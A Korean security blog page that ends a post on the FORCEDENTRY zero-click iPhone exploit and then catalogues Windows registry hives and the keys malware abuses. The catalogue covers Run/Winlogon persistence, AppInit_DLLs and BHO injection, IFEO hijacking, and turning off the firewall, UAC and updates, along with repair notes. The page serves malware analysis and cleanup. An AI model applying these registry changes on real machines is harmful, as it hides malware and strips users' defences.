- (4)에서 비트맵의 값으로 syms를 채우는데, Integer Overflow로 인해 비트맵의 크기보다 작은 힙이 할당되고 out-of-bounds write가 가능

JBIG2Bitmap의 원래 경계를 벗어나 메모리를 읽고 쓸 수 있게 되는 것

 

- 추가적으로, JBIG2는 스크립트 기능이 없지만, 취약점과 결합하면 임의 메모리에서 작동하는 임의의 논리 게이트 회로를 실행시킬 수 있음

> 이 기능을 사용하면 독자적인 컴퓨터 아키텍처를 구축하고 실행할 수 있음

 

4. 대응방안 [5]

① 최신 버전으로의 업데이트 적용

> 당시 애플은 즉시 iOS 14.7.1 업데이트를 배포하며 취약점을 해결

[사진 2] 애플 패치 코드

② 데이터 보관 방법

- 중요 데이터 또는 민감 데이터는 별도의 장치에 저장

 

③ 검역소

- 제로클릭의 경우 대부분 GIF파일로 전파되므로, 격리된 메모리 공간에서 검증 후 격리

 

5. 참고

[1] https://www.ciokorea.com/t/34/%EB%AA%A8%EB%B0%94%EC%9D%BC/221704
[2] https://www.itworld.co.kr/news/216064
[3] https://www.digitaltoday.co.kr/news/articleView.html?idxno=437261
[4] https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html
[5] https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html
[6] https://nvd.nist.gov/vuln/detail/CVE-2021-30860

1. 레지스트리

- 시스템, 사용자, 프로그램, 서비스, 드라이버 등 PC 운용에 반드시 필요한 정보를 저장해둔 데이터베이스

- 윈도우+R > regedit.exe(또는 regedit)를 통해 접근하며, 키(Key_폴더의 개념)와 값(Value_파일의 개념)로 구성

- 레지스트리는 수많은 논리를 구분하는 하이브(Hive)로 나눌 수 있으며, 하이브는 모두 HKEY로 시작

하이브 약칭 설명
HKEY_CLASSES_ROOT HKCR - 파일 확장자와 특정 프로그램을 연결시켜주는 참조 테이블
- OLE 데이터와 확장자에 대한 정보, 파일과 프로그램 각 연결 정보가 포함
- 파일 확장자들이 서브트리로 구성, 각 확장자는 파일타입과 연결되어 해당 프로그램을 확인가능
HKEY_CURRENT_USER HKCU - 현재 로그인한 사용자의 설정을 저장
HKEY_LOCAL_MACHINE HKLM - 시스템 전체 설정을 저장
- 부팅과 관련된 5개의 하위키를 가짐
① HKLM\HARDWARE
> 휘발성 정보로 메모리에 존재
> 모니터 포트 등 부팅 시 관련된 하드웨어 장치와 드라이버 맵핑 정보들을 저장

② HKLM\SAM
> 사용자의 로컬 계정 정보(사용자 패스워드, 사용자 프로필 등)와 그룹 정보를 갖고 있음 (리눅스 /etc/passwd와 비슷)
> 일반 관리자 계정으로도 접근이 불가능하며, 시스템 계정으로만 접근 가능

③ HKLM\SECURITY
> 시스템 범위의 보안 정책과 사용자 권한 할당 정보, 현재 시스템의 패스워드 또는 마지막 로그온 사용자의 패스워드 등의 정보를 가짐
> 시스템 계정으로만 접근이 가능

④ HKLM\SYSTEM
> 시스템이 부팅될 때의 환경 설정 정보를 가짐
> 시스템이 정상적 부팅되었을 때 복사되며, 시스템이 비정상적으로 종료되었을 때 복사해 둔 정보를 바탕으로 부팅할 수 있는 옵션을 사용자에게 제공
> 복사본은 일반적으로 '마지막으로 성공한 구성'이라고 부름
> 해당 하이브에서 중요한 것은 바로 CurrentControlSet 키(보통 2개 이상 존재)
> CurrentControlSet은 부팅에서 사용된 ControlSet 키(ControlSet001_최근 부팅에서 사용한 키 또는 ControlSet002_마지막으로 성공한 구성)의 링크이고, 같은 레벨에 있는 Select 키에서 확인 가능

⑤ HKLM\SOFTWARE
> 시스템 범위의 소프트웨어 목록과 그 환경 설정 정보가 저장
> 환경설정 정보에는 애플리케이션 이름, 경로, 라이센스 정보, 만료 날짜 등이 포함
HKEY_USERS  HKU - 시스템의 모든 사용자에 대한 모든 설정을 저장
- HKEY_CURRENT_USER 키에 일치하는 서브키를 가지고 있음
HKEY_CURRENT_CONFIG HKCC - 시스템 시작 시 사용되는 하드웨어 프로파일 저장
- 현재 활성화된 하드웨어 알아보기 위해 참조
HKEY_PERFORMANCE_DATA - - 런타임 성능 데이터 정보를 제공
- 레지스트리 편집기에 보이지 않지만 윈도우 API의 레지스트리 명령어를 통해 확인 가능
HKEY_DYN_DATA - - 윈도우 95, 윈도우 98, 윈도우 Me에만 쓰임
- 플러그 앤 플레이를 비롯한 하드웨어 장치, 네트워크 성능 통계에 대한 정보를 포함

 

2. 악성코드가 이용하는 레지스트리 정보

[탐색기 폴더 옵션의 파일 숨김 속성]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

 

[파일의 속성 부분에서 체크박스 활성/비활성]
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\CheckedValue
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\DefaultValue

 

[오토런 설정]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun
- USB 같은 이동형 저장장치에 대해 Autorun 설정을 합니다. (0xFF로 설정 시 Block, 0x00으로 설정 시 모두 허용)

 

[윈도우 주요 설정 툴 실행 방지]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD

 

[Image File Execution Options 이용하여 프로그램 실행 방지]
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution\Options\calc.exe Debugger = notepad.exe
- 계산기 실행 시 노트패드로 전환되어 실행. (AV 실행을 막거나, 포렌직 툴 실행을 막기위해 변조함)

 

[시작프로그램 관련]
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

- HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer
DisableLocalMachineRunOnce=1:DWORD
DisableLocalMachineRun=1:DWORD
DisableCurrentUserRunOnce=1:DWORD
DisableLocalMachineRun=1:DWORD
- 이러한 키가 설정되면 시작프로그램에 등록된 프로그램이 실행이 안됨.

HKLM\SOFTWARE\Classes\exefile\shell\open\command
@="soundmix \"%1\" %*"
- soundmix 프로세스를 KILL 하여도 계속적으로 재실행

 

[인터넷 익스플로러]
- HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel
- 해당 키 안에 ResetWebSettings 값이나 HomePage 값이 있으면 시작 페이지 부분 비활성화. (재부팅이 필요 합니다) 

[HKEY_CURRENT_USER\Software\Policies\Microsoft\internet explorer\restrictions]
"NoBrowserOptions"=dword:00000001
- 인터넷 옵션 실행불가 관련 레지스트리

[HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"AdvancedTab"=dword:00000001
"PrivacyTab"=dword:00000001
"ProgramsTab"=dword:00000001
"ConnectionsTab"=dword:00000001
"ContentTab"=dword:00000001
"SecurityTab"=dword:00000001
"GeneralTab"=dword:00000001
- 역시 인터넷 옵션 실행불가 관련 레지스트리

 

[네트워크 관련]
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\MaxUserPort
- 윈도우에서 허용하는 네트워크 연결 개수 수정(주로 Spamer가 변조)

[HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\00000000000*]
"PackedCatalogItem" 이진값 문자열에 악성코드가 삽입되어 있을 경우 네트워크가 정상적으로 동작하지 않음.
netsh winsock show catalog 명령어로 확인 가능, 복구툴 : http://www.cexx.org/lspfix.htm

 

[윈도우 보안 정책 관련]
HKLM\SYSTEM\ControlSet001\Services\wscsvc\Start
- wscsvc : 윈도우 시큐리티 보안센터, 윈도우 시큐리티 보안센터 시작을 꺼버립니다.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\EnableLUA
- 윈도우 VISTA UAC 기능 무효화

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall 
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions  
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
- 윈도우 방화벽 관련 정책 변경

HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM
- 분산 컴포넌트 객체 모형에 해당하는 값을 변경 [DCOM, Distributed Component Object Model]

HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify
- 보안센터 바이러스 백신 경보에 해당하는 값을 변경

HKLM\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify
- 보안센터 바이러스 사용자지정 백신에 해당하는 값을 변경

HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusOverride
- 보안센터 바이러스 방화벽 경보에 해당하는 값을 변경

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Start
- 연결공유서비스에 해당하는 값을 변경한다.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
- 익명연결(널세션)에 해당 하는 값을 변경

 

[제어판 관련]
HKCU\Control Panel\don't load\"access.cpl" = "No"
HKCU\Control Panel\don't load\"appwiz.cpl" = "No"
HKCU\Control Panel\don't load\"hdwwiz.cpl" = "No"
HKCU\Control Panel\don't load\"inetcpl.cpl" = "No"
HKCU\Control Panel\don't load\"intl.cpl" = "No"
HKCU\Control Panel\don't load\"joy.cpl" = "No"
HKCU\Control Panel\don't load\"main.cpl" = "No"
HKCU\Control Panel\don't load\"ncpa.cpl" = "No"
HKCU\Control Panel\don't load\"netcpl.cpl" = "No"
HKCU\Control Panel\don't load\"nusrmgr.cpl" = "No"
HKCU\Control Panel\don't load\"timedate.cpl" = "No"
HKCU\Control Panel\don't load\"joy.cpl" = "No"
- 제어판에서 메뉴를 보이지 않도록 한다.

 

[바탕화면 배경화면 관련]
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\ActiveDesktop\

 

[윈도우 시작시 자동실행 - Run]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”Attack” = “%System%\Attack.exe” 
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”Attack” = “%System%\Attack.exe”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
==> 윈도우가 시작할때 동작할 수 있는 레지스트리.

 

[윈도우 시작시 자동실행 - RunOnce]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\”Attack” = “%System%\Attack.exe”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
==> 윈도우가 시작할때 동작할 수 있는 레지스트리.

 

[윈도우 시작시 자동실행 - RunServices]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\”Attack” = “c:\windows\Attack.exe”

 

[윈도우 시작시 자동실행 - Winlogon]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Shell" = "Explorer.exe %System%\attack.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Shell"

원래는 Explorer.exe 만 있는게 정상이다. explorer.exe 로 사용자와 컴퓨터간의 대화를 할 수 있게 한다.
여기에 악성코드 경로를 넣어주면, 사용자가 명령을 할 때마다 악성코드가 실행되는 것이다.

 

[윈도우 시작시 자동실행 - Userinit]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Userinit" = "%System%\userinit.exe, %System%\attack.exe"

원래는 "%System%\userinit.exe만 있는게 정상이다. 
부팅이 되고,, winlogon 이 실행되서 로그인을 하고 들어가면, userinit 가 실행이 되서 explorer.exe 를 실행하는 것이다.
요런 흐름인데 explorer.exe 가 실행되기 전에 악성코드가 실행되어 버리니..
백신도 진단을 못할 수도 있는법이다~

 

[윈도우 시작시 자동실행 - Taskman]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Taskman" = "%SystemDrive%\RECYCLER\[SID]\attack.exe"

원래는 Taskman 이라는 값이 없다.

 

[윈도우 시작시 자동실행 - Active Setup]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\

정상파일 :  system32 폴더 ==>  iedkcs32.dll /ie4uinit.exe / ieuddinit.exe / shmgrate.exe
                advpack.dll / mscories.dll / themeui.dll / shell32.dll
                c:\program files\outlook express\setup50.exe
                c:\windows\inf\unregmp2.exe
{5Y99AE78-58TT-11dW-BE53-Y67078979Y} 는 악성코드..

 

[DLL Injection 을 위한 변경 - AppInit_DLLs]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\"AppInit_DLLs" = "악성코드경로\attack.dll"

DLL Injection 이라는 것은 여러가지 방법이 있는데 그중 한 방법이다.
레지스트리에 위와 같이 등록이 된다면, 어떠한 프로세스에서 user32.dll (실행시 필요) 을 호출할 시에 user32.dll 은 LoadLibrary() 함수를 이용할 것이고, AppInit_DLLs 안에 지정된 DLL 들을 호출할 것이다.
LoadLibrary() 함수에는 인자값이 DLL_PROCESS_ATTACH 를 지정해 준다. 그러므로 중간에 끼어들어갈 수 있다.

 

[DLL Injection - InprocServer32]
HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000000}\InprocServer32\"기본값" = "....\attack.dll"

이것은 attack.dll 에 있는 값을 얻어 컴포넌트 파일의 경로를 알아낸다.
즉.. LoadLibrary() 를 호출하면 (user32.dll 사용시) 클라이언트 프로세스 안에 DLL 컴포넌트를 로드시킨다.

 

[DLL Injection - RemoteAccess]
HKEY_LOCAL_MACHINE\System\CurrentControlSet\RemoteAccess\Parameters"ServiceDLL" = "....\attack.dll"

서비스에서 Routing and Remote Access 를 가로챈다.
정상적인 값은 %SystemRoot%System32\mprdim.dll 이다.

 

[윈도우 시작시 자동실행 - Active Setup]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{12345678-1234-1234-1234-123456789101(임의의번호)}\"StubPath" = "%SystemDrive%\RESTORE\[SID]\악성코드.exe"

위의 경로에서 c:\RESTORE\[SID]\ 에는 Desktop.ini 가 같이 존재하여 두개가 유기적으로 동작한다.

 

[서비스 변경]
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\[Service Name]\"Start" = 3

2 = 자동 /  3 =  수동 / 4 = 사용안함
정상적인 서비스의 레지스트리 값을 조정한다.

 

[IFEO 값 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\악성코드.exe\"Debugger" = "ntsd -d"

프로그램이 실행되면 위 경로로 가기 때문에 파일들이 실행이 되지 않는다.
정상적인 것은 c:\windows\system32\ntsd.exe ..
나머지는 Debugger 값이 없다.

 

[BHO 값 변경 - Browser Helper Objects]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\[Random CLSID]\"기본값" = "%Windir%\attack.dll"
 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\[Random CLSID]\"기본값" = "%Windir%\attack.dll"

BHO 는 개발자들이 인터넷 익스플로어를 제어하고 사용자가 원하는대로 바꾸도록 지원해 주는 것이다.
인터넷 익스플로어가 시작될 때, 레지스트리에서 BHO 를 찾고 자동으로 생성한다. 그러므로 이 특징을 이용해 악의적인 행위를 한다.

 

[안전모드에서 부팅 못하게..]
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Control\SafeBoot\

악성코드는 위의 키를 아예 삭제해 버린다.

 

[방화벽 우회 - 방화벽 내리기]
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001(&ControlSet002&CurrentControlSet)Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
"EnableFirewall" = 0

EnableFirewall 의 값은 원래부터 있는 값은 아니고, 윈도우 방화벽을 내리면 생기는 키값이다.
위의 방법으로 윈도우 방화벽을 우회한다.

 

[방화벽 우회 - 악성코드 권한주기]
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Windir%\system32\"attack.exe" = "%Windir%\system32\attack.exe:*:Enabled:@xpsp2res.dll,-22019" = "Explorer.exe %System%\attack_1.exe"

ControlSet002 / CurrentControlSet 도 마찬가지 이다.
그리고 위에서는 보라색 글자와 같이 DomainProfile 에서 바꾸어 주었는데 이곳이 아닌 StandardProfile 에서도 바꾸어 준다.
뭐.... 워낙 영어에 취약한 지라..  한글로 풀어써서 이해를 하였다.
서비스\공유접근\매개변수\방화벽정책\사용자프로파일\권한응용프로그램\목록\
오호~  방화벽 정책에서 악성코드에 권한을 주는구만?    이라고.. 난 해석하였다.

 

[트레이의 말풍선 도움말 설정]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"EnableBalloonTips" = "1"

위의 내용은 허위로 안내 도움말을 하기 위해 켜놓은 것이다. 원래의 값은 0이다. 보통 허위안티바이러스에서 많이 사용을 한다.
사용자에게 지속적으로 감염되었다고 알려주어 겁주고 결제 요구한다...
EnableBalloonTips  ==> 표시줄 트레이의 풍선 도움말
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[작업관리자 사용금지하게 하는 것]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableTaskMgr" = "1"

Task Manager 를 비활성화 시킨다. 이것은 우리가 흔히 알고 있는 작업관리자이다.
작업관리자(Ctrl+Alt+Del)가 뜨지 않는다면 요 레지스트리가 1로 되어있기 때문에 뜨지 않는 것이다.
악성코드들은 자기자신을 은폐하려 들기 때문에 작업관리자를 사용하지 못하도록 한다.
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[제어판 사용 금지]
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoControlPanel" = "1"

NoControlPanel 은 제어판에 사용자가 접근하는 것을 제한하는 것이다.
이것을 1로 설정해 놓으면 제어판을 열수가 없다.
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[레지스트리 사용 금지]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableRegistryTools" = "1"

Disable (무능력하게 하다) RegistryTools (레지스트리툴을)
레지스트리 툴 사용을 무능력하게 하여, 사용자의 접근을 막는다.

 

[업데이트 사용 금지 - HKLM]
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU\"NoAutoUpdate" = "1"

자동 업데이트를 막는다.

 

[업데이트 사용 금지 - HKCU]
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoWindowsUpdate" = "1"

 

[보호된 운영체제 파일 숨기기  - 폴더 옵션]
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden
"Type" = "nonprintable characters"

악성코드 자신을 보호하고 파일을 숨기면 사용자는 악성코드에 접근할 수 없다.  그러므로 이 레지스트리 값을 이용하여 자신에게 접근을 보호한다.
Type 값에 이상한 글자를 넣게 된다면..  폴더 옵션에서 아예 메뉴가 나오지 않는다.

 

[다운시 보안 팝업창 무력화]
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download
"CheckExeSignatures" = "no"

인터넷에서 다운로드를 해 실행을 하면 경고창을 띄우는 것을 우리는 알고 있다.
그러나 위의 레지값을 변경하면 경고창 없이 설치가 되버린다.

 

[exe 파일이 열리지 않을때 - 프로그램 선택하라는 창이 나올 때  ]
HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = "%1" %* 
위와 같이 기본값을 변경해 주어야 한다. 

HKEY_CLASSES_ROOT\.exe\"기본값" = "secfile"
HKEY_CLASSES_ROOT\.exe\"기본값" = "exefile"
secfile 값을 exefile 로 고쳐준다.

HKEY_CLASSES_ROOT\.exe\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\.exe\shell\open\command\"기본값" = "%1" %* 
키를 삭제해주어도 무방.

HKEY_CLASSES_ROOT\secfile\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\secfile\shell\open\command\"기본값" = "%1" %*
키를 삭제해주어도 무방.

악성코드는 secfile 이라는 것을 만들어 exe 가 실행되면 자신이 만들어 놓은 레지스트리 대로 행동하게 한다.
아래 값들처럼 복구를 해주어야 한다.
  
아래와 같이 레지스트리를 생성하는 경우도 있다. 그럴 때는 이 키들을 삭제해주어야 한다.

HKEY_CURRENT_USER\Software\Classes\.exe\shell\open\Command\"기본값" = "악성코드 경로" /START "%1" %*
HKEY_CURRENT_USER\Software\Classes\secfile\shell\open\Command\"기본값" = "악성코드 경로" /START "%1" %*

간혹,,, 아래 표와같은 레지스트리 변경건도 있을 수 있다.
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\Command\"기본값" = "악성코드 경로" /START "C:\Program File\MozillaFirefox\firefox.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\safemode\Command\"기본값" = "악성코드 경로" /START "C:\Program File\MozillaFirefox\firefox.exe"  -safe-mode
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\Command\"기본값" = "악성코드 경로" /START "C:\Program File\InternetExplorer\iexplore.exe"  -safe-mode
위 레지스트리 값은 삭제해준다.

 

[익스플로어 검색 기본값 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Default_Search_URL" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

[익스플로어 검색 페이지 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Search page" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

[익스플로어 시작 페이지 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Start Page" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

※ 출처

 

악성코드가 이용하는 Windows Registry 정보

[탐색기 폴더 옵션의 파일 숨김 속성] HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explor

jyj850714.tistory.com

 

3. 참고

https://ko.wikipedia.org/wiki/%EC%9C%88%EB%8F%84%EC%9A%B0_%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC

https://yum-history.tistory.com/265

https://m.blog.naver.com/nologout/19168074

https://jyj850714.tistory.com/130

https://comeinsidebox.com/%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC-registry%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B4%EB%A9%B0-%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC-%ED%8E%B8%EC%A7%91%EA%B8%B0%EB%A5%BC-%EC%82%AC/

'악성코드 > 분석' 카테고리의 다른 글

BYOVD (Bring Your Own Vulnerable Driver) 기법  (0) 2023.03.22
제로클릭(Zero-Click)  (0) 2023.02.20
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19

+ Recent posts